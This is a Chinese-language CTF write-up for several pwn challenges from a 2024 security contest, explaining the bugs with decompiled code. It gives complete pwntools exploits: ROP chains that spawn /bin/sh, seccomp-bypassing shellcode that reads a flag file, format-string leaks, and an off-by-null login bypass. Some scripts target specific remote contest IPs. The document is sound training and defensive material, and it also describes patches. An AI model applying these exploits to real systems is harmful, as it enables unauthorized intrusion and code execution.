2024年 “春秋杯” 網路安全聯賽夏季賽
0x00 CTF
stdout
程式保護如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
這題的難點在於 setvbuf(stdout, 0LL, 0, 0LL)
操作會開啟 stdout
緩衝區的全緩衝,導致程式在結束時才會重新整理緩衝區並輸出資料,因此在程式執行過程中不會有任何輸出,包括執行 ROP 鏈洩露的 libc 資訊
setvbuf()
函式的原型如下int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream 是指向 FILE 物件的指標,該 FILE 物件標識了一個開啟的流
buffer 是分配給使用者的緩衝,如果設定為 NULL,該函式會自動分配一個指定大小的緩衝
mode 指定了檔案緩衝的模式
size 是緩衝的大小,以位元組為單位
該函式的三參有三種模式:
全緩衝:0,緩衝區滿 或 呼叫fflush() 後輸出緩衝區內容
行緩衝:1,緩衝區滿 或 遇到換行符 或 呼叫fflush() 後輸出緩衝區內容
無緩衝:2,直接輸出
瞭解了這些,後面的思路無非是透過填滿緩衝區或呼叫fflush()來輸出緩衝區內容。但要呼叫 fflush()
函式顯然需要 libc
基地址,但哪怕能夠執行到 ROP 鏈洩出地址,也不會直接將資料輸出,那麼方法只剩下透過填滿緩衝區的方式將資料帶出來了
int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}
main()
函式中存在 0x10
大小棧溢位
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init();
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}
vuln()
函式處有更大的溢位,extend()
函式的功能表面上是擴充套件 GOT 表,但實際上另有用途,這裡會輸出不少字串
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
__int64 extend()
{
__int64 result; // rax
char s[8]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]
puts("Just to increase the number of got tables");
*(_QWORD *)s = 0x216F6C6C6568LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v6 = strlen(s);
if ( strcmp(s, "hello!") )
exit(0);
puts("hello!");
srand(1u);
v5 = 0;
result = (unsigned int)(rand() % 16);
v5 = result;
return result;
}
最終思路是 ROP 控制程式輸出來填滿輸出緩衝區,帶出地址後 ret2libc
,exp 如下
剛開始沒注意到有
extend()
函式,所以在迴圈傳送洩xxx_got
的 ROP 鏈,這樣下來每次輸出的位元組都不多,所以要需要很多次迴圈,但是遠端連線並不穩定,經常地址還沒洩出來就斷開連線了,被本地通遠端不通折磨了挺久的,最後想到可以用extend()
函式來加速填滿輸出緩衝區
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.134.120', 37382]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.31.so'
libc = ELF(libcfile)
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x40125D')
payload1 = 'a'*(0x50+0x8)
payload1 += p64(0x40125D)
p.send(payload1)
vuln = 0x40125D
pop_rdi_ret = 0x4013d3
read_got = elf.got['read']
puts_plt = 0x4010B0
ret = 0x40136E
ext = 0x401287
for i in range(2):
log.info('count: ' + hex(i))
payload2 = 'a'*(0x20+0x8)
# payload2 += p64(ret)
payload2 += p64(ext)*55
payload2 += p64(pop_rdi_ret)
payload2 += p64(read_got)
payload2 += p64(puts_plt)
payload2 += p64(vuln)
# sleep(0.05)
p.send(payload2)
read_addr = recv64_addr()
# loginfo("read_addr: ", read_addr)
libc_base = read_addr - libc.symbols['read']
loginfo("libc_base: ", libc_base)
# debug('b *0x40136E')
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + 0x142c92
pop_rax_ret = libc_base + 0x36174
syscall = libc_base + 0x2284d
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a'*(0x20+0x8)
payload += p64(ret)*2
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
# payload += p64(system_addr)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(syscall)
p.send(payload)
exp()
p.interactive()
Shuffled_Execution
mmap
了一段具有 rwx
許可權的段,用於執行往這裡寫入的 shellcode,沙箱禁用如下,最後選擇使用 openat
, preadv2
, writev
進行 orw flag
ve1kcon@wsl:~/work/CTF/2024_7/cqb2024_x/Shuffled_Execution$ seccomp-tools dump ./pwn
The only chance to pass the entrance.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
使用者輸入後會在 shuffle()
函式中對輸入進行變換,但是操作長度 sc_len
由 v3 = strlen(s)
傳入,所以可以使用 "\x00"
來繞過
unsigned __int64 __fastcall shuffle(__int64 sc, unsigned __int64 sc_len)
{
char tmp; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
unsigned __int64 ran; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
srand(0x1337u);
if ( sc_len > 1 )
{
for ( i = 0; i < sc_len >> 1; ++i )
{
ran = rand() % sc_len;
tmp = *(_BYTE *)(i + sc);
*(_BYTE *)(i + sc) = *(_BYTE *)(sc + ran);// 迴圈對前一半字元(使用shellcode裡的隨機一個字元)進行逐一隨機變換
*(_BYTE *)(ran + sc) = tmp;
}
}
return v6 - __readfsqword(0x28u);
}
還有一點是在執行 shellcode 前對大部分暫存器的值都清零了,所以需要先對 rsp 進行重新賦值才能使用到出棧入棧的操作
.text:00000000000014F0 mov rbx, 0
.text:00000000000014F7 mov rcx, 0
.text:00000000000014FE mov rdx, 0
.text:0000000000001505 mov rdi, 0
.text:000000000000150C mov rsi, 0
.text:0000000000001513 mov r8, 0
.text:000000000000151A mov r9, 0
.text:0000000000001521 mov r10, 0
.text:0000000000001528 mov r11, 0
.text:000000000000152F mov r12, 0
.text:0000000000001536 mov r13, 0
.text:000000000000153D mov r14, 0
.text:0000000000001544 mov r15, 0
.text:000000000000154B mov rbp, 0
.text:0000000000001552 mov rsp, 0
.text:0000000000001559 mov rax, 1337000h
.text:0000000000001560 jmp rax
exp 如下,要用 preadv2
和 writev
的話,主要是要注意 iovec
這個結構體,註釋裡使用到的雙花括號只是轉義,否則會被解釋成變數佔位符
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.132.12', 44463]
pwnfile = './pwn'
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
'''
fname = '/home/ve1kcon/flag'
mov rax,0x{fname0}; push rax;
mov rax,0x{fname1}; push rax;
mov rax,0x{fname2}; push rax;
fname0 = fname[16:][::-1].encode('hex')
fname1 = fname[8:16][::-1].encode('hex')
fname2 = fname[:8][::-1].encode('hex')
'''
fname = '/flag'
# pay = 'nop;'*0x20
pay = """
mov rsp, 0x1337500;
/* openat(0, *file_name, 0) */
mov rax,0x{fname0}; push rax;
push rsp; pop rsi;
mov rdi, 0;
mov rdx, 0;
mov rax, 257; syscall;
/* vec -> const struct iovec {{ void *buf; size_t count }}; */
push 0x100; push 0x1337600;
push rsp; pop r15;
/* preadv2(3, *vec, 1) */
mov rdi, 3;
mov rsi, r15;
mov rdx, 1;
mov rax, 327; syscall;
/* writev(1, *vec, 1) */
mov rdi, 1;
mov rax, 20; syscall;
""".format(
fname0=fname[:8][::-1].encode('hex')
)
# debug('b *$rebase(0x16CB)')
# debug('''b *$rebase(0x1559)
# c
# b *0x133702d''')
p.sendlineafter('entrance.\n', '\x00'*2 + asm(pay))
exp()
p.interactive()
SavethePrincess
程式保護如下,保護開滿
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
init()
函式處初始化了 key
,而且隨機數不可預測
unsigned __int64 init()
{
unsigned int buf; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
buf = 0;
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
perror("open");
exit(0);
}
read(fd, &buf, 4uLL);
srand(buf);
buf = 0;
close(fd);
for ( i = 0; i <= 7; ++i )
key[i] = rand() % 26 + 97; // key unpredictable
return v4 - __readfsqword(0x28u);
}
在 magic()
函式中將 buf
填滿即可在輸出字串時將 for 迴圈的次數 i
帶出,可以用這一個位元組資料來判斷前 i+1
個字元是否匹配,所以可以利用這個地方逐位元組爆破隨機數 dest
,然後利用後面的格式化字串漏洞洩露 libc 地址,canary 和 stack 地址
__int64 magic()
{
char dest[8]; // [rsp+5h] [rbp-1Bh] BYREF
char buf[10]; // [rsp+Dh] [rbp-13h] BYREF
char i; // [rsp+17h] [rbp-9h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
strcpy(dest, love);
if ( fmt == 1 )
printf("You have gained your power, now go and defeat the dragon and save the SWDD princess");
puts("please input your password: ");
read(0, buf, 0xAuLL);
for ( i = 0; i <= 7; ++i )
{
if ( buf[i] != dest[i] )
{
printf("you password is %s\n,nononno!!!\n", buf);
return 0LL;
}
}
puts("successfully, Embrace the power!!!");
fmt = 1;
read(0, dest, 0x14uLL);
printf(dest);
return 0LL;
}
在 challenge()
函式處會開啟沙箱,還有個棧溢位可以利用
__int64 Challenge()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Attack the dragon!!");
read(0, buf, 0x200uLL);
puts("The dragon attacks you before it dies");
sandbox();
puts("Did you succeed?");
return 0LL;
}
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0013
0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013
0008: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0013
0009: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0013
0010: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
exp 如下
# coding=utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
libcfile = './libc.so.6'
libc = ELF(libcfile)
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('> \n', str(index))
def magic(content='a'):
menu(1)
p.sendafter('password: \n', content)
def exp():
key = ''
realkey = ''
testkey = 'a'
for i in range(8): # 8-letter
for j in range(26): # a-z
key = key.ljust(10, 'a')
magic(key)
# loginfo('[!]'*10)
# p.recvuntil('you password is '+key, timeout=0.5)
data = p.recvuntil('you password is '+key, timeout=0.5)
loginfo(data)
if not data.startswith("you"): # the correct key has been obtained at this time
break
tmp = p.recv(1)
print('round:'+str(i)+'; count:'+str(j)+'; times:'+tmp)
if tmp != struct.pack('B', i + 1): # integer -> single byte of binary data, if times ≠ round+1, lose
testkey = chr(ord("b")+j) # char1 -> ascii -> char2
key = realkey + testkey # reset key
continue # jump out of the current j loop
loginfo('realkey++!')
realkey += testkey
print('real key now: '+realkey)
break # jump out of the current i loop
# realkey = key[:-2]
# loginfo(realkey)
# p.sendlineafter('successfully, Embrace the power!!!\n', 'a')
# menu(1)
# p.sendafter('password: \n', realkey)
# debug('''b *$rebase(0x166A)
# c
# b *$rebase(0x16C5)''')
# debug('b *$rebase(0x170C)')
payload = '%9$p%15$p%10$p+'
p.sendlineafter('successfully, Embrace the power!!!\n', payload)
p.recvuntil('0x')
canary = int(p.recvuntil('0x')[:-2],16)
loginfo('canary: ', canary)
libc_base = int(p.recvuntil('0x')[:-2],16) - 0x29d90
loginfo('libc_base: ', libc_base)
stack_addr = int(p.recvuntil("+")[:-1],16)
input_addr = stack_addr - 0x60 # 0x7fff72ec2810->0x7fff72ec27b0 is -0x60 bytes (-0xc words)
loginfo('stack_addr: ', stack_addr)
# ----- openat preadv2 writev -----
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_r12_ret = libc_base + 0x11f2e7
pop_rcx_ret = libc_base + 0x3d1ee
# r10 = libc_base + 0x115af4 # mov r10, rcx ; mov eax, 0x104 ; syscall # syscal does not modify the value of r10 after execution
pop_rax_ret = libc_base + 0x45eb0
syscall = libc_base + 0x29db4
openat_addr = libc_base + libc.symbols['openat']
preadv2_addr = libc_base + libc.symbols['preadv2']
writev_addr = libc_base + libc.symbols['writev']
# loginfo('preadv2_addr: ', preadv2_addr)
loginfo('pop_rdi_ret: ', pop_rdi_ret)
# loginfo('writev_addr: ', writev_addr)
flag = '/flag'.ljust(8, '\x00')
openat = ''
# openat = p64(pop_rcx_ret) + p64(0)
# openat += p64(r10)
openat += p64(pop_rdi_ret) + p64(0)
openat += p64(pop_rsi_ret) + p64(input_addr+0x160)
openat += p64(pop_rdx_r12_ret) + p64(0)*2
openat += p64(openat_addr)
# openat += p64(pop_rax_ret) + p64(257) + p64(syscall)
preadv2 = p64(pop_rdi_ret) + p64(3)
preadv2 += p64(pop_rsi_ret) + p64(input_addr+0x150)
preadv2 += p64(pop_rdx_r12_ret) + p64(1)*2
preadv2 += p64(pop_rcx_ret) + p64(0)
preadv2 += p64(preadv2_addr)
# preadv2 += p64(pop_rax_ret) + p64(327) + p64(syscall)
writev = p64(pop_rdi_ret) + p64(1)
writev += p64(writev_addr)
# writev += p64(pop_rax_ret) + p64(20) + p64(syscall)
payload = 'a'*(0x40-0x8) + p64(canary) + p64(0)
payload += openat + preadv2 + writev
payload = payload.ljust(0x150, 'a')
payload += p64(input_addr+0x300) + p64(0x100)
payload += flag
menu(2)
p.sendlineafter('Attack the dragon!!\n', payload)
exp()
p.interactive()
libc
庫裡的 preadv2()
函式
__int64 preadv64v2()
{
__int64 result; // rax
unsigned int v1; // er14
if ( __readfsdword(0x18u) )
{
v1 = sub_909F0();
__asm { syscall; LINUX - }
sub_90A60(v1);
result = 327LL;
}
else
{
result = 327LL;
__asm { syscall; LINUX - }
}
return result;
}
0x01 AWDP
sspiiiiiil
這個題剛開始沒怎麼逆明白,但其實邏輯也沒那麼複雜。首先要留意使用者輸入時將資料往棧上哪處寫了,然後關注程式會取這片記憶體的資料進行什麼操作,最後有一個維護了函式表的陣列
程式保護如下,保護開滿
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程式主要邏輯如下,有四個功能
// bad sp value at call has been detected, the output may be wrong!
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-4834h] BYREF
char s[2096]; // [rsp+4h] [rbp-4830h] BYREF
char v5; // [rsp+834h] [rbp-4000h] BYREF
__int64 v6[512]; // [rsp+3834h] [rbp-1000h] BYREF
while ( v6 != (__int64 *)&v5 )
;
v6[511] = __readfsqword(0x28u);
init_0();
memset(s, 0, 0x4828uLL);
while ( 1 )
{
while ( 1 )
{
puts("Give me your choice: ");
__isoc99_scanf("%d", &v3);
if ( v3 != 4 )
break;
bye();
}
if ( v3 <= 4 )
{
switch ( v3 )
{
case 3:
exc(s);
break;
case 1:
sandbox();
break;
case 2:
evil_read(s);
break;
}
}
}
}
功能 1 只是開啟一個沙箱,沒有其他服務,正經人誰會去呼叫它自找麻煩(x
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
功能 2 可以往棧上寫入 0x400 位元組資料,函式呼叫的傳參是一個棧指標,所以是寫入到 *(&s+0x808)
的位置,s
是在 main()
函式里定義的區域性變數
ssize_t __fastcall evil_read(__int64 a1)
{
puts("see you");
return read(0, (void *)(a1 + 0x808), 0x400uLL);
}
功能 3 裡最核心的程式碼是 (functions[v3])(s)
,這裡面可以根據使用者輸入執行到對應的函式,分析如下
functions
是一個函式表,v1 = *(&s + 0x2808)
是儲存了一個計數值的地方,初值為 0,透過靜態分析可以發現每次對函式表進行呼叫時,這個值都會增大;v3
由使用者輸入決定,因為 *(s+0x808+8*v1)
指向的就是功能 2 的輸入點,但是會判斷 v3 > 0xB
int __fastcall exc(__int64 s)
{
__int64 v1; // rax
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
while ( 1 )
{
v1 = *(_QWORD *)(s + 0x2808);
*(_QWORD *)(s + 0x2808) = v1 + 1; // count from 0
v3 = *(_QWORD *)(s + 8 * (v1 + 0x100) + 8); // *(s+0x808+8*v1)
if ( v3 > 0xB )
break;
((void (__fastcall *)(__int64))functions[v3])(s);
}
return printf("Unknown instruction %zu\n", v3);
}
.data:0000000000004020 functions dq offset exit_addr ; DATA XREF: funA+54↑o
.data:0000000000004020 ; funA+5B↑r ...
.data:0000000000004028 dq offset fun1
.data:0000000000004030 dq offset fun2
.data:0000000000004038 dq offset fun3
.data:0000000000004040 dq offset fun4
.data:0000000000004048 dq offset fun5
.data:0000000000004050 dq offset fun6
.data:0000000000004058 dq offset fun7
.data:0000000000004060 dq offset fun8
.data:0000000000004068 dq offset fun9
.data:0000000000004070 dq offset funA
.data:0000000000004078 dq offset funB
.data:0000000000004080 dq offset funC
偏移為 0xA
的函式里最後執行了類似 exc()
裡的函式呼叫,但是沒有對函式表偏移進行判斷
__int64 __fastcall funA(__int64 a1)
{
__int64 v1; // rax
__int64 v3; // [rsp+18h] [rbp-8h]
v3 = *(_QWORD *)(a1 + 0x2808) + 1LL;
v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
((void (__fastcall *)(__int64))functions[*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8)])(a1);
return sub_1386(a1, v3);
}
可以在 funcA()
函式里呼叫到偏移為 0xC
的函式,這裡有個 system()
函式的呼叫,引數可控,但是想要執行到 system(/bin/sh)
就需要控好傳入的引數,這就需要分析清楚程式邏輯後才能知道怎麼去佈置棧資料,計算過程詳見下列註釋
int __fastcall funC(__int64 a1)
{
__int64 v1; // rax
v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
return system((const char *)(8 * (*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8) + 0x502LL) + a1));
// Argument passing can be simplified as: 8*(*(a1+0x808+8*v1)+0x502))+a1
// How to arrange stack data: &a1+0x820 -> '/bin/sh'
// At this time the count of v1 is equal to 2, because this is the third time to make function call
// *(&a1 + 0x818) + 0x502 = 0x820/8
// *(&a1 + 0x818) = -1022 = FFFF FFFF FFFF FC02
}
exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
p.sendlineafter('choice:', '2')
payload = p64(0xA) + p64(0xC)
payload += p64(0xFFFFFFFFFFFFFC02) + '/bin/sh\x00'
p.sendlineafter('see you\n', payload)
# debug('brva 0x1D77')
p.sendlineafter('choice:', '3')
exp()
p.interactive()
Fix 就是把 funA()
函式里的計算偏移的方式改一下,使得平臺 check 指令碼里原本的棧佈局不能梭通,但是又不影響函式表其他函式的功能。可以將框著的 8 改成其他數,比如說 16
simpleSys
程式保護如下,無 canary
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
選項 3 是一個填寫簡歷的功能,但需要 root
賬戶才能使用,evil_read((__int64)s, v3)
存在整數溢位從而導致棧溢位 + off_by_null,然後還可以填充資料直到棧上儲存了地址的地方,在執行到 printf("confirm your bio: %s [y/n]", s)
時帶出地址資訊,洩出地址後選擇 n
繼續迴圈
unsigned __int64 __fastcall evil_read(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 result; // rax
unsigned __int8 buf; // [rsp+1Bh] [rbp-5h] BYREF
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( a2 <= i )
break;
if ( read(0, &buf, 1uLL) != 1 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
result = buf;
if ( buf == 10 )
return result;
*(_BYTE *)(a1 + i) = buf;
}
return result;
}
int vuln()
{
int result; // eax
char s[91]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREF
int v3; // [rsp+5Ch] [rbp-4h]
if ( !check_login )
return puts("login first");
if ( !check_root )
return puts("only root");
while ( 1 )
{
printf("input length: ");
v3 = get_num();
if ( v3 > 80 )
break;
evil_read((__int64)s, v3);
printf("confirm your bio: %s [y/n]", s);
__isoc99_scanf("%c", &v2);
getchar();
result = v2;
if ( v2 == 'y' )
return result;
v3 = 0;
memset(s, 0, 0x50uLL);
}
return puts("too long");
}
選項 2 是一個使用者登入的功能,漏洞點在匹配到使用者名稱為 root
後進入到的那個分支,base64()
函式會將使用者輸入的密碼經過 base64 編碼後儲存在 mypasswd_b
中
int login()
{
unsigned int v0; // eax
size_t v1; // rax
int result; // eax
size_t v3; // rax
size_t v4; // rax
char mypasswd[48]; // [rsp+0h] [rbp-60h] BYREF
char myname[48]; // [rsp+30h] [rbp-30h] BYREF
memset(myname, 0, 0x25uLL);
memset(mypasswd, 0, 0x25uLL);
printf("username: ");
evil_read((__int64)myname, 0x24uLL);
printf("password: ");
evil_read((__int64)mypasswd, 0x24uLL);
if ( !strncmp(myname, "root", 4uLL) )
{
v0 = strlen(mypasswd);
base64(mypasswd, v0, &mypasswd_b);
v1 = strlen(root_passwd);
if ( !strncmp(&mypasswd_b, root_passwd, v1) )
{
result = printf("%s login successfully\n", myname);
check_root = 1;
check_login = 1;
return result;
}
}
else
{
v3 = strlen(name);
if ( !strncmp(myname, name, v3) )
{
v4 = strlen(passwd);
if ( !strncmp(mypasswd, passwd, v4) )
{
result = printf("%s login successfully\n", myname);
check_login = 1;
return result;
}
}
}
return puts("fail to login");
}
輸入 36 個 'a' 進行編碼後長度為 0x30
,儲存到 mypasswd_b
時因為存在 off-by-null 會將緊挨著的 root_passwd
低位覆蓋為 '\x00'
,使得判斷長度 v1 = strlen(root_passwd)
的值為 0 繞過判斷,從而能夠登入 root
賬戶
.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: login+B7↑o
.data:0000000000004020 ; login+E4↑o
.data:0000000000004028 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050 ; DATA XREF: login+C8↑o
.data:0000000000004050 ; login+DA↑o
其實可以發現 root_passwd
是以硬編碼的形式儲存,可以 base64 解碼得到明文 this is password
,但還是登入失敗,經過除錯發現了奇怪的地方,strncmp()
函式的三參是 0x19
,照例來說編碼的長度是 0x18
v1 = strlen(root_passwd)
判斷的是 root_passwd
的長度,因為後面其緊跟著 '\x01'
位元組,所以導致檢測長度增加,然後它也不是一串合法的經 base64 編碼能得到字串,所以只能按上述方法繞過
思路明確了,繞過登入 root
賬戶後,洩棧上殘留的 libc 指標,利用棧溢位打 ROP,exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
elf = ELF(pwnfile)
libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('Enter your choice: ', str(index))
def signup(username, passwd):
menu(1)
p.sendlineafter('username: ', username)
p.sendlineafter('password: ', passwd)
def login(username, passwd):
menu(2)
p.sendlineafter('username: ', username)
p.sendlineafter('password: ', passwd)
def addbio(len, content='a'):
menu(3)
p.sendlineafter('length: ', str(len))
p.sendline(content)
def exp():
# debug('brva 0x162B')
# debug('brva 0x1675')
# debug('brva 0x14FA')
# debug('brva 0x1656')
# debug('brva 0x1515')
login('root', 'a'*36)
# login('root', 'this is password')
payload = 'a'*(0x30)
addbio(-1, payload)
p.recvuntil(payload)
# leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
leak_addr = recv64_addr()
libc_base = leak_addr - 0x26d040 # 0x7fd71335b040->0x7fd7130ee000 is -0x26d040 bytes (-0x4da08 words)
loginfo('libc_base: ', libc_base)
p.sendlineafter('[y/n]', 'n')
pop_rdi_ret = libc_base + 0x2a3e5
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a'*(0x60+0x8)
payload += p64(pop_rdi_ret+1)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('length: ', '-1')
p.sendline(payload)
p.sendlineafter('[y/n]', 'y')
exp()
p.interactive()
Fix 就是將此處的 <=
修改為 <
,修改方式是將 ja -> jnb
;也可以是修改讀入的密碼的長度
WKCTF
baby_stack
程式保護如下,GOT 表可寫,無 canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./2.27-3ubuntu1.6'
